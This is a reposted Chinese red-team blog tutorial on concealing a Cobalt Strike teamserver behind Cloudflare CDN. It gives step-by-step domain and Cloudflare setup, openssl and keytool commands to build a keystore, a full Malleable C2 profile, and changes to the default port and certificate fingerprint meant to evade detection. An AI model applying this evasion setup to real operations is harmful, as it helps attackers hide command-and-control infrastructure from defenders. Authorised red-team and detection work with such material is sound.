内网篇 | 巧妙使用CDN隐藏CobaltStrike特征,红队必备!!!

admin 2025年5月30日12:10:49评论4 views字数 2020阅读6分44秒阅读模式

大 纲

购买低价格的域名

在Cloudflare绑定站点

配置Cloudflare

teamserver特征隐匿

修改teamserver默认端口

修改teamserver默认指纹信息

1

购买低价格的域名:

https://www.dynadot.com/zh/
内网篇 | 巧妙使用CDN隐藏CobaltStrike特征,红队必备!!!
2

cloudflare绑定站点:

作用:

加速和保护我们的站点。

操作步骤:

S1:添加购买的域名:

内网篇 | 巧妙使用CDN隐藏CobaltStrike特征,红队必备!!!

S2:更改NS:

内网篇 | 巧妙使用CDN隐藏CobaltStrike特征,红队必备!!!

按照Cloudflare的指示将域名的NS设置成Cloudflare的即可。然后配置一个DNSA记录,解析到VPSIP,后续上线用。

3

配置cloudflare:

S1:SSL加密:

内网篇 | 巧妙使用CDN隐藏CobaltStrike特征,红队必备!!!

S2:生成证书:

内网篇 | 巧妙使用CDN隐藏CobaltStrike特征,红队必备!!!

S3:禁用缓存:

内网篇 | 巧妙使用CDN隐藏CobaltStrike特征,红队必备!!!
内网篇 | 巧妙使用CDN隐藏CobaltStrike特征,红队必备!!!
4

teamserver特征隐匿:

S1:进入VPS中的CS文件夹中,创建两个文件。server.pem(文件中贴入上面的源证书)和server.key(文件中贴入上面的私钥)保存即可。
S2:生成新的cobaltstrike证书。如果原先的cobaltstrike文件夹内有默认的.store证书,需要先删除掉默认的。使用以下命令生成:
openssl pkcs12 -export -in server.pem -inkey server.key -out cfcert.p12 -name cloudflare_cert -passout pass:123456

这里是利用pemkey文件创建新的cert证书。

ps:这里的pass密码需要修改,改为复杂的密码,不要使用123456。

keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore cfcert.store -srckeystore cfcert.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias cloudflare_cert

ps:这里的所有密码都要和上面的一致。

CS目录内创建profile文件,名称自定义,这里使用C2.profile,然后将以下内容贴入到profile文件中。
如果原先有默认的profile则需要删掉。
ps:以下内容中,password需要改为上面创建证书一致的密码。host需要改为你在CDN平台中绑定的域名,切记是要加A记录前缀的完整域名。
源代码如下:
set sleeptime "5000";https-certificate{    set keystore "cfcert.store";    set password "123456";}http-config{    header "Content-Type" "application";}http-stager{    set uri_x86 "/api/1";    set uri_x64 "/api/2";    client{        header "Host" "your host";    }    server{        output{            print;        }    }http-get{    set uri "/api/3";    client{        metadata{            base64;            header "Cookie";        }    }    server{        output{        print;        }    }http-post{    set uri "/api/4";    client{        id{            uri-append;        }        output{                    print;        }    }    server{        output{            print;        }    }}
注意:
http port端口只能设置成以下几个:80,8080,8880,2052,2082,2086,2095;如果是https的监听端口只能设置成以下几个:443,2053,2083,2087,2096,8443。
5

修改teamserver默认端口:

编辑teamserver配置文件,将CobaltStrike默认的50050端口改成其它端口。

6

修改teamserver默认指纹信息:

编辑teamserver配置文件,默认的是cobalt strike信息或Microsoft信息。

CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, S=Cyberspace, C=Earth

可将指纹信息改为其它的内容。

CN=baidu, OU=baidu, O=baidu, L=baidu, S=baidu, C=baidu
ok!大佬们还有没有其他更好隐藏CS特征的方法,可私信进群交流欧~
 

 

原文始发于微信公众号(零日安全实验室):内网篇 | 巧妙使用CDN隐藏CobaltStrike特征,红队必备!!!

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月30日12:10:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网篇 | 巧妙使用CDN隐藏CobaltStrike特征,红队必备!!!http://cn-sec.com/archives/3946037.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息